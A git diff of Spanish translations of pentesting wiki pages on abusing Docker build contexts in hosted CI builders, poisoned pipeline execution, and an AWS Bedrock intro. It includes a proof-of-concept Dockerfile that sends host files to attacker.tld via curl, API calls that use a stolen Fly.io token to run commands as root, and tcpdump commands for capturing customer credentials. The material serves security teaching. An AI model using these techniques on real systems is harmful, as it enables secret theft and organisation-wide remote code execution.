diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index bbd4a6a7b..d1095ab45 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -4,22 +4,22 @@ ## TL;DR -Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el context en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrar secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens de registry robados también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización. +Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el contexto en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrate secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens robados del registry también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización. ## Superficie de ataque -Muchos servicios hosted builder/registry realizan más o menos esto al construir imágenes enviadas por usuarios: -- Leer una configuración a nivel de repo que incluye: - - build context path (enviado al Docker daemon) - - Dockerfile path relative to that context +Muchos servicios de hosted builder/registry hacen más o menos esto al construir imágenes enviadas por usuarios: +- Leer una config a nivel de repo que incluye: +- build context path (enviado al Docker daemon) +- Dockerfile path relativo a ese contexto - Copiar el directorio de build context indicado y el Dockerfile al Docker daemon - Construir la imagen y ejecutarla como un servicio alojado -Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user pasen a formar parte del build context y estén disponibles para COPY en el Dockerfile. +Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user formen parte del build context y estén disponibles para COPY en el Dockerfile. Restricciones prácticas comúnmente observadas: -- El Dockerfile debe residir dentro de la context path elegido y su ruta debe conocerse de antemano. -- El build user debe tener acceso de lectura a los archivos incluidos en el context; los archivos de dispositivo especiales pueden romper la copia. +- El Dockerfile debe residir dentro de la ruta de contexto elegida y su ruta debe conocerse de antemano. +- El build user debe tener permisos de lectura sobre los archivos incluidos en el contexto; archivos de dispositivo especiales pueden romper la copia. ## PoC: Path traversal via Docker build context @@ -41,8 +41,8 @@ exampleConfig: apiKey: "sk-example123" ``` Notas: -- El uso de ".." a menudo resuelve al home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles. -- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto expandido del directorio padre. +- Usar ".." a menudo resuelve al directorio home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles. +- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto padre expandido. ## PoC: Dockerfile para ingest y exfiltrate el contexto del host ```dockerfile @@ -53,33 +53,33 @@ COPY . /data # Copies entire build context (now builder’s RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` Objetivos comúnmente recuperados desde $HOME: -- ~/.docker/config.json (registry auths/tokens) -- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) +- ~/.docker/config.json (autenticaciones/tokens del registry) +- Otras caches y configuraciones de cloud/CLI (p. ej., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) -Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto del lado de la plataforma vulnerable sigue gobernando qué se envía al daemon. Si la plataforma copia la ruta seleccionada al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse. +Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto vulnerable en el lado de la plataforma aún rige lo que se envía al daemon. Si la plataforma copia la ruta elegida al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse. -## Pivot en la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API) +## Pivot a la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API) -Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la provider API. +Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la API del proveedor. -Ejemplos de llamadas API contra Fly.io Machines API usando el token robado de ~/.docker/config.json: +Ejemplos de llamadas a la API contra Fly.io Machines API usando el token robado de ~/.docker/config.json: Enumerar apps en una org: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` -Ejecutar un comando como root dentro de cualquier máquina de una aplicación: +Ejecutar un comando como root dentro de cualquier máquina de una app: ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -Resultado: org-wide remote code execution en todas las aplicaciones alojadas donde el token tenga suficientes privilegios. +Resultado: a nivel de la organización remote code execution en todas las aplicaciones alojadas donde el token tenga privilegios suficientes. -## Robo de secretos desde servicios alojados comprometidos +## Robo de secretos de servicios alojados comprometidos -Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar ataques de prompt-injection. Ejemplo: instala tcpdump y captura tráfico HTTP en port 8080 para extraer inbound credentials. +Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar prompt-injection attacks. Ejemplo: instala tcpdump y captura tráfico HTTP en el puerto 8080 para extraer credenciales entrantes. ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -Las solicitudes capturadas a menudo contienen credenciales de cliente en los encabezados, los cuerpos o los parámetros de consulta. +Las solicitudes capturadas a menudo contienen credenciales de cliente en headers, bodies o query params. ## Referencias diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index cdb420dea..966cd8cb3 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,51 +6,51 @@ ## VCS -VCS significa **Version Control System**, estos sistemas permiten a los desarrolladores **manage their source code**. El más común es **git** y normalmente encontrarás empresas usándolo en una de las siguientes **plataformas**: +VCS significa **Sistema de Control de Versiones**, este sistema permite a los desarrolladores **gestionar su código fuente**. El más común es **git** y normalmente encontrarás que las empresas lo usan en una de las siguientes **plataformas**: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Cloud providers (they offer their own VCS platforms) +- Cloud providers (ofrecen sus propias plataformas VCS) -## Pipelines de CI/CD +## CI/CD Pipelines -Los pipelines de CI/CD permiten a los desarrolladores **automatizar la ejecución de code** para diversos fines, incluyendo building, testing y deploying de aplicaciones. Estos workflows automatizados se **disparan por acciones específicas**, como code pushes, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta producción. +Los pipelines CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo build, testing y deploy de aplicaciones. Estos flujos automatizados se **disparan por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta producción. -Sin embargo, estos sistemas necesitan **ejecutarse en algún lugar** y normalmente con **credenciales privilegiadas para deploy code o acceder a información sensible**. +Sin embargo, estos sistemas necesitan **ejecutarse en algún lugar** y normalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**. ## VCS Pentesting Methodology > [!NOTE] -> Aunque algunas plataformas VCS permiten crear pipelines, en esta sección vamos a analizar únicamente ataques potenciales al control del source code. +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -Las plataformas que contienen el source code de tu proyecto contienen información sensible y hay que tener mucho cuidado con los permisos concedidos dentro de la plataforma. Estos son algunos problemas comunes en plataformas VCS que un atacante podría abusar: +Las plataformas que contienen el código fuente de tu proyecto almacenan información sensible y hay que tener mucho cuidado con los permisos concedidos dentro de esta plataforma. Estos son algunos problemas comunes en plataformas VCS que un atacante podría abusar: -- **Leaks**: Si tu code contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. -- **Access**: Si un atacante puede **access a una cuenta dentro de la plataforma VCS** podría obtener **más visibilidad y permisos**. -- **Register**: Algunas plataformas simplemente permiten a usuarios externos crear una cuenta. -- **SSO**: Algunas plataformas no permiten registro, pero permiten a cualquiera acceder con un SSO válido (así que un atacante podría usar su cuenta de github para entrar, por ejemplo). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo. -- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secrets no visibles, un **attacker could abuse them**. -- If no secret is in place, the attacker could abuse the webhook of the third party platform -- If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** Si un actor malicioso tiene algún tipo de **write** access sobre los repos, podría intentar **inject malicious code**. Para tener éxito puede necesitar **bypass branch protections**. Estas acciones pueden realizarse con diferentes objetivos en mente: - - Comprometer la rama main para **compromise production**. - - Comprometer la main (u otras branches) para **compromise developers machines** (ya que normalmente ejecutan tests, terraform u otras cosas dentro del repo en sus máquinas). -- **Compromise the pipeline** (check next section) +- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. +- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS** podría ganar **más visibilidad y permisos**. +- **Register**: Algunas plataformas permiten simplemente que usuarios externos creen una cuenta. +- **SSO**: Algunas plataformas no permiten registro directo, pero permiten a cualquiera acceder con un SSO válido (por ejemplo, un atacante podría usar su github account para entrar). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna forma a un repo. +- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secrets no visibles un **atacante podría abusar de ellos**. +- Si no hay un secret en su lugar, el atacante podría abusar del webhook de la plataforma tercera +- Si el secret está en la URL, ocurre lo mismo y el atacante además tendría el secret +- **Code compromise:** Si un actor malicioso tiene algún tipo de **acceso de escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito puede que necesite **bypassear branch protections**. Estas acciones pueden realizarse con distintos objetivos: + - Comprometer la rama main para **comprometer producción**. + - Comprometer la main (u otras branches) para **comprometer máquinas de desarrolladores** (ya que suelen ejecutar tests, terraform u otras cosas desde el repo en sus máquinas). +- **Compromise the pipeline** (revisar la siguiente sección) ## Pipelines Pentesting Methodology -La forma más común de definir un pipeline es usando un **CI configuration file hosted in the repository** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, las condiciones que afectan el flujo y la configuración del entorno de build.\ -Estos archivos típicamente tienen un nombre y formato consistente, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se dispara, el job del pipeline **pulls the code** desde la fuente seleccionada (p. ej. commit / branch), y **ejecuta los comandos especificados en el CI configuration file** contra ese code. +La forma más común de definir un pipeline es usando un **archivo de configuración de CI alojado en el repository** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, condiciones que afectan el flujo y la configuración del entorno de build.\ +Estos archivos típicamente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados bajo .github/workflows. Cuando se dispara, el job del pipeline **pulls the code** desde la fuente seleccionada (por ejemplo commit / branch), y **ejecuta los comandos especificados en el CI configuration file** contra ese código. -Por tanto, el objetivo último del atacante es de alguna forma **comprometer esos archivos de configuración** o los **comandos que ejecutan**. +Por tanto, el objetivo final del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**. > [!TIP] -> Algunos hosted builders permiten a los contributors elegir el Docker build context y la ruta del Dockerfile. Si el context está controlado por el atacante, puedes situarlo fuera del repo (p. ej., "..") para ingerir archivos del host durante el build y exfiltrar secrets. See: +> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: > >{{#ref}} >docker-build-context-abuse.md @@ -58,55 +58,55 @@ Por tanto, el objetivo último del atacante es de alguna forma **comprometer eso ### PPE - Poisoned Pipeline Execution -La Poisoned Pipeline Execution (PPE) explota permisos en un SCM repository para manipular un CI pipeline y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar CI configuration files u otros archivos usados por el job del pipeline para incluir comandos maliciosos. Esto "poisons" el CI pipeline, llevando a la ejecución de dichos comandos maliciosos. +La Poisoned Pipeline Execution (PPE) explota permisos en un SCM repository para manipular un CI pipeline y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar CI configuration files u otros archivos usados por el job del pipeline para incluir comandos maliciosos. Esto "poisons" el CI pipeline, derivando en la ejecución de esos comandos maliciosos. -Para que un actor malicioso tenga éxito realizando un ataque PPE necesita poder: +Para que un actor malicioso tenga éxito realizando un ataque PPE necesita: -- Tener **write access to the VCS platform**, ya que usualmente los pipelines se disparan cuando se hace un push o se crea un pull request. (Revisa la VCS pentesting methodology para un resumen de formas de obtener acceso). -- Nota que a veces un **external PR** cuenta como "write access". -- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modify the CI config file or other files the config is relying on**. -- Para esto, puede necesitar **bypass branch protections**. +- Tener **write access to the VCS platform**, ya que normalmente los pipelines se disparan cuando se realiza un push o un pull request. (Revisar la VCS pentesting methodology para un resumen de formas de obtener acceso). +- Nota: a veces un **external PR cuenta como "write access"**. +- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el CI config file u otros archivos de los que el config depende**. +- Para esto, puede que necesite **bypassear branch protections**. Hay 3 sabores de PPE: -- **D-PPE**: Un ataque **Direct PPE** ocurre cuando el actor **modifica el CI config** file que se va a ejecutar. -- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **file** del que el CI config file que se va a ejecutar **depends** (como un Makefile o una terraform config). -- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **triggered by users that don't have write access in the repo** (y que puede que ni siquiera formen parte de la org) porque pueden enviar un PR. -- **3PE Command Injection**: Normalmente, los pipelines establecerán **environment variables** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **usado** en un **sitio peligroso** (por ejemplo ejecutando comandos sh), un atacante podría **inject commands into it**. +- **D-PPE**: Un ataque **Direct PPE** ocurre cuando el actor **modifica el CI config** file que va a ser ejecutado. +- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **archivo** del que el CI config se **apoya** (como un Makefile o una configuración terraform). +- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **disparados por usuarios que no tienen write access en el repo** (y que puede que ni siquiera formen parte de la org) porque pueden enviar un PR. +- **3PE Command Injection**: Usualmente, los pipelines CI/CD **set environment variables** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **usado** en un **lugar peligroso** (por ejemplo ejecutando comandos sh), un atacante podría **inyectar comandos allí**. ### Exploitation Benefits -Conociendo los 3 sabores para poison a pipeline, veamos qué podría obtener un atacante tras una explotación exitosa: +Sabiendo los 3 sabores para envenenar un pipeline, veamos qué podría obtener un atacante tras una explotación exitosa: -- **Secrets**: Como se mencionó anteriormente, los pipelines requieren **privilegios** para sus jobs (recuperar el code, build, deploy...) y estos privilegios suelen ser **almacenados en secrets**. Estos secrets suelen ser accesibles vía **env variables or files inside the system**. Por tanto un atacante siempre intentará exfiltrar tantos secrets como sea posible. -- Dependiendo de la plataforma del pipeline el atacante **podría necesitar especificar los secrets en la config**. Esto significa que si el atacante no puede modificar el CI configuration pipeline (**I-PPE** por ejemplo), solo podría **exfiltrar los secrets que ese pipeline tenga**. -- **Computation**: El code se ejecuta en algún lugar; dependiendo de dónde se ejecute, un atacante podría pivotar más. -- **On-Premises**: Si los pipelines se ejecutan on-premises, un atacante podría acabar en una **internal network con acceso a más recursos**. -- **Cloud**: El atacante podría acceder a **otras máquinas en la cloud** pero también podría **exfiltrar** tokens de IAM roles/service accounts para obtener **más acceso dentro del cloud**. -- **Platforms machine**: A veces los jobs se ejecutan dentro de las máquinas de la **pipelines platform**, que normalmente están en una cloud sin acceso adicional. -- **Select it:** A veces la **pipelines platform** tendrá configuradas varias máquinas y si puedes **modify the CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para intentar explotarla más. -- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y se deploya desde él, podrías **comprometer el code que terminará ejecutándose en producción**. +- **Secrets**: Como se mencionó antes, los pipelines requieren **privilegios** para sus jobs (recuperar el código, build, deploy...) y estos privilegios usualmente están **almacenados en secrets**. Estos secrets suelen ser accesibles vía **env variables o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar la mayor cantidad de secrets posible. +- Dependiendo de la plataforma del pipeline el atacante **podría necesitar especificar los secrets en el config**. Esto significa que si el atacante no puede modificar la configuración del CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secrets que ese pipeline tenga**. +- **Computation**: El código se ejecuta en algún lado; dependiendo de dónde se ejecute, un atacante podría pivotar más. +- **On-Premises**: Si los pipelines se ejecutan on-premises, un atacante podría acabar en una **red interna con acceso a más recursos**. +- **Cloud**: El atacante podría acceder a **otras máquinas en la cloud** pero también podría **exfiltrar** IAM roles/service accounts **tokens** de ahí para obtener **más acceso dentro del cloud**. +- **Platforms machine**: A veces los jobs se ejecutan dentro de las máquinas de la plataforma de pipelines, que normalmente están en una cloud sin mayor acceso. +- **Select it:** En ocasiones la **pipeline platform tiene configuradas varias máquinas** y si puedes **modificar el CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esa situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para intentar explotarla más. +- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y despliega desde él, podrías **comprometer el código que terminará ejecutándose en producción**. -## Más información relevante +## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu software supply chain stack en busca de cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el time of code hasta el deploy. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta open-source para auditar tu software supply chain stack en cuanto a cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue. ### Top 10 CI/CD Security Risk -Consulta este artículo interesante sobre los top 10 CI/CD risks según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Revisa este artículo interesante sobre los top 10 CI/CD risks según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- En cada plataforma que puedas correr localmente encontrarás cómo lanzarla localmente para que puedas configurarla como quieras y probarla +- En cada plataforma que puedas ejecutar localmente encontrarás cómo lanzarla localmente para que la configures como quieras y probarla - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis estático para infrastructure-as-code. -## Referencias +## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index ba5b32252..2a3fc0660 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -4,7 +4,7 @@ ## Resumen -Amazon Bedrock es un servicio totalmente gestionado que facilita construir y escalar aplicaciones de IA generativa utilizando foundation models (FMs) de startups líderes en AI y de Amazon. Bedrock proporciona acceso a varios FMs a través de una única API, permitiendo a los desarrolladores elegir el modelo más adecuado para sus casos de uso específicos sin gestionar la infraestructura subyacente. +Amazon Bedrock es un servicio totalmente gestionado que facilita la creación y el escalado de aplicaciones de IA generativa usando foundation models (FMs) de startups líderes en IA y de Amazon. Bedrock ofrece acceso a varios FMs mediante una única API, lo que permite a los desarrolladores elegir el modelo más adecuado para sus casos de uso sin gestionar la infraestructura subyacente. ## Post Exploitation